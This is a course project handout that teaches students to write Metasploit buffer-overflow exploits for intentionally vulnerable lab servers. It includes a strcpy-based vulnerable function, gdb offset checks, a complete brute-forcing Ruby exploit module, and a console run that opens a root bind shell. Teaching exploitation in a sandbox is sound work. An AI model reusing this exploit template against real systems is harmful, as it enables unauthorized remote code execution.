Overflows

Worth 85 points

Description

Introduction

This project will expand on what you learned in the Buffer Overflow lab. Instead of writing the shellcode and the exploit yourself, you will use Metasploit to handle the shellcode/payload work for you, so you can focus on the exploit itself.

The project work consists of writing Metasploit exploits for three TCP-listener programs which are vulnerable to buffer overflows. The mechanics of the overflow are the same as what you experienced in the lab: you must overwrite the return address to the location of your payload. However, these programs have some defenses in place to make the exploit more challenging. Fortunately, you have full access to the source code for these programs and are free to make any modifications you want to help you develop your exploit. As long as your exploit works against the original code, you will receive full points.

Getting started

IMPORTANT: Before starting, you must disable stack address randomization just like you did for the lab

All of the project sources are available in the student container under /mnt/projects/buffer-overflow. Your submission will be three exploit ruby files, one for each vulnerable program. We will go over the tutorial program as an example of how to write an exploit and how to use Metasploit.

Tutorial

Project structure

Let's begin by discussing the structure of the project files. Everything we need is under /mnt/projects/buffer-overflow

# cd /mnt/projects/buffer-overflow
# ls -p
exploits/  sources/  submit  util/

Here, exploits/ is the directory containing your solutions. The contents of this directory will be submitted when you run ./submit. The other important directory here is sources/, which contains the sources for the programs which you will be exploiting. You should be familiar with the util/ directory from previous projects; it is used by the submission script and can be ignored.

Exploring the executable's function

Begin by navigating to the source directory for the program you are trying to exploit.

# cd sources/tutorial
# ls 
Makefile  run  src

There is a Makefile. So let's run make

# make
<snipped>
# ls
Makefile  run  src  tutorial

Good. There is now an executable called tutorial. Let's run it.

# ./tutorial 
Usage: ./tutorial <port>
# ./tutorial 1234
<empty>

The program is now listening on port 1234. Let's use nc to connect to it and see what happens (using a second terminal).

# nc localhost 1234
hello                         <this was typed by us>
This is what you sent me:     <and this is the response from the server>
hello

Now that we have a basic understanding of what this program does, it is time to explore the source code to figure out how to exploit it.

Exploring the source code

The source code for each project is under the respective project's src/ subdirectory. All of the programs have a similar overall structure: driver.c deals with the TCP connection, and server.c handles the connection once it is started. Therefore, we should examine server.c.

# cd src/
# cat server.c
<snipped>
void* run(int cfd) {
  printf("Starting session %d\n", cfd);
  char buf[BUF_SZ];
  int r = read(cfd, buf, BUF_SZ);
  if (r > 0) {
    tutorial(cfd, buf);
    bzero(buf, BUF_SZ);
  }
  printf("Ending session %d\n", cfd);
  shutdown(cfd, SHUT_RDWR);
  return NULL;
}

void tutorial(int cfd, char* buf) {
    char local_buf[512];
    printf("%p\n", local_buf);
    strcpy(local_buf, buf);
    dprintf (cfd, "This is what you sent me:\n%s\n", buf );
}

It looks like the server starts in the function called run, reads the client input into a temporary buffer, then calls tutorial. A quick check will confirm that run is not vulnerable to a buffer overflow (it uses read, which won't overflow buf). However, tutorial seems to be vulnerable since it uses strcpy. Because this is the tutorial program, there are no tricks here. The exploit is a pure buffer overflow, very similar to what you did in the lab. You will see that this source already contains a strange line: printf("%p\n", local_buf). This will print the address of local_buf to the server console. This is useful, because it allows us to make a (very) good guess about what to rewrite the return value to. However, it is possible that the address will change slightly after removing this print statement (which will be the case for the subsequent programs you need to solve). Therefore, the best course of action is to write a Metasploit exploit to help us bruteforce the correct return address and simplify the process of writing more complicated exploits (your task later). Before we do that, there is one last thing to check.

Using gdb

To simplify your debugging process, we have provided a run file which will help you debug more quickly. It is located at the top level of each program's source (next to the executable and Makefile). To use it, we can do something like the following (where 1234 can be any port you like):

# gdb -q -x run
Breakpoint 1 at 0x14cc: file src/server.c, line 32.
(gdb) r 1234

The server is now running, and gdb has set a breakpoint at the function called tutorial which we noticed earlier. Let's open a new connection with nc and try to overflow the buffer. First, let's make an educated guess for the distance to the return pointer based on our experience in the lab and CS 213. The buffer is 512 bytes, and there are two arguments (which will be in registers). The next 8 bytes will be the saved base pointer, so the return address should be stored in bytes 520-528 from the beginning of the buffer. Since only the first 6 bytes of the address are used, let's try making the input 526 bytes long and check whether the overwrite is successful.

<in another terminal>
# ruby -e 'print "A"*526' | nc localhost 1234

Now we have hit the breakpoint in gdb. Let's check whether we have overwritten the return address just as we did in the lab.

Thread 2.1 "tutorial" hit Breakpoint 1, tutorial (cfd=4, buf=0x7fffffffdb60 'A' <repeats 200 times>...)
    at src/server.c:32
32          printf("%p\n", local_buf);
(gdb) info frame
<snipped>
rip = 0x5555555554cc in tutorial (src/server.c:32); saved rip = 0x555555555465
<snipped>
(gdb) n
33          strcpy(local_buf, buf);
(gdb) 
34          dprintf (cfd, "This is what you sent me:\n%s\n", buf );
(gdb) info frame
<snipped>
rip = 0x555555555500 in tutorial (src/server.c:34); saved rip = 0x414141414141
<snipped>

Excellent! we can see that the buffer is being overwritten as expected, and we have an accurate model for how this function's stack looks. Hint: when you write the project exploits, you will need to also take stack variables into account. Now that we have this information, it is time to write the automatic exploit using Metasploit.

Writing the exploit

For each program, you will write an exploit in the form of a ruby file based on our template. The template is called tutorial.rb, and is a working exploit for the program we have explored in this tutorial so far. Let's discuss each part of the exploit file to explain what it does:

class MetasploitModule < Msf::Exploit::Remote
  include Exploit::Remote::Tcp
  include Exploit::Brute

This is boilerplate code which tells Metasploit about the type of exploit we are using. You don't need to and shouldn't change this.

def initialize(info = {})
    super(update_info( info,
                      'Name' => 'Buffer Overflow',
                      'Description' => %q(This exploit tries a range of stack addresses rerunning the exploit for each of them),
                      'Author' => 'n8ta.com',
                      'Payload' => {
                    'MinNops' => 40,
                        'Space' => 520,
                        'BadChars' => "\x00\x0A",
                      },
                      'Targets' => [
                        ['Linux Bruteforce', {
                            'Bruteforce' => {
                                'Start' => { 'Ret' => 0x7fffffffdbb0},
                                'Stop'  => { 'Ret' => 0x7fffffffdbf0},
                                'Step'  => 8
                            }
                        }]],
                      'DefaultTarget'  => 0,
                      'Arch'           => ARCH_X64,
                      'Platform'       => 'linux',

    ))
  end

This is all of the configuration information which Metasploit will use to generate the payload and perform the brute force return address guessing. Most of these variables should not be changed. However, there are several which are vitally important to your completion of this project, which are described below:

MinNops: This is the (minimum) guaranteed number of Nops which Metasploit will prepend to the payload. This value should be set to be somewhat high, since the larger it is, the less accurate the address guess has to be.

Space: This is the total size of the payload which Metasploit will generate, including Numops. This can be important to control, such as if the buffer is unusually large or small.

BadChars: This is a list of characters which Metasploit will avoid using when generating the shellcode. By default, we have this set to null (x00) and line feed (x0A). It is unlikely, but possible you will want to adjust this.

Start: The first address Metasploit should try to use as the return address. This should be an educated guess based on your experimentation.

Stop: The last address Metasploit will guess for the return address before giving up the bruteforce. This should also be based on your experimentation.

Step: The increment Metasploit will add to the address at each step of the bruteforce. If you have a lot of Nops, you might want to increase this to a higher multiple of 8.

def check
    Exploit::CheckCode::Vulnerable
  end

This is more boilerplate.

def brute_exploit(addresses)
    connect

    #print_status(addresses.to_s)
    buf = payload.encoded
    buf += [addresses['Ret']].pack('Q')[0..5] # 6 byte long pointer (RET)
    buf += [0,0].pack('cc') # 2 unused bytes that MUST be 0x0000 for RET to be a valid poiner on x64.

    # Send it off
    print_status("Sending #{buf.length} bytes...")
    sock.put(buf)

    handler
  end

This is the meat of the exploit, where you are able to control what is sent to the vulnerable program. The parts relating to the connection itself can be ignored unless you are trying to send a payload in multiple stages (which is unnecessary for simple exploits). The part that actually matters relates to the buf variable. This is the string which will actually be sent to the server. In this example, we begin by setting the first part of the buffer to include payload.encoded. This is the shellcode and nops which are automatically generated by Metasploit, and will have length equal to what you specified for Space earlier. In this example, the size is 520, so you can think of us having written up to the point on the stack just before the return address. The next two lines are a way of explicitly packaging the address (addresses['Ret']) to be a valid pointer on x64. For this program, that's it! This code can be used by Metasploit to automatically attack the tutorial server. When you write your own exploits, you can manipulate the buf string in any way you see fit to manipulate the stack.

Note: if you are not familiar with the pack() method, take a look at these links:

https://idiosyncratic-ruby.com/4-what-the-pack.html

https://apidock.com/ruby/Array/pack

Using your exploit

Now that you have your exploit, it is time to use it. As a reminder, we have the exploit ready to go at /mnt/projects/buffer-overflow/exploits/tutorial.rb. Let's begin by opening the Metasploit console.

# msfconsole
msf5 >

The first thing we want to do is set our loadpath to the location of our exploits. In this case, that is /mnt/projects/buffer-overflow (the reason is because msf looks for the exploits/ directory under the loadpath).

msf5 > loadpath /mnt/projects/buffer-overflow/
Loaded 1 modules:
    1 exploit modules

Next, it is time to actually perform the attack. Begin by making sure that the vulnerable server is running in another terminal, and remember which port you have it on. Then, all we have to do is set some variables to tell Metasploit what to attack and which payload to use, then trigger the exploit.

msf5 > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf5 > set RPORT 5678
RPORT => 5678
msf5 > set PAYLOAD linux/x64/shell_bind_tcp
PAYLOAD => linux/x64/shell_bind_tcp
msf5 > use tutorial.rb
msf5 exploit(tutorial) > exploit
[*] Started bind TCP handler against 127.0.0.1:4444
[*] 127.0.0.1:5678 - Sending 528 bytes...
[*] 127.0.0.1:5678 - Sending 528 bytes...
[*] Command shell session 1 opened (127.0.0.1:35961 -> 127.0.0.1:4444) at 2020-05-24 00:51:58 +0000

What just happened? Metasploit clearly attacked the correct host and port, and it seems to have sent our exploit/payload as well since it is the right size. Even better, we see Command shell session 1 opened..., which suggests that the shellcode has executed. Let's run a few commands to confirm this!

<continued from above>
whoami
root
pwd
/mnt/projects/buffer-overflow/sources/tutorial

This confirms that the shellcode has worked. If we didn't already contol this system, it would be ours now.

Conclusion

By following the above tutorial, you should now have a basic understanding of how to write the three exploits you will need to submit. The first exploit will involve slightly more thought in terms of what you write on the stack. The second will involve more attention to the size of your payload, and the last will also require some reverse engineering.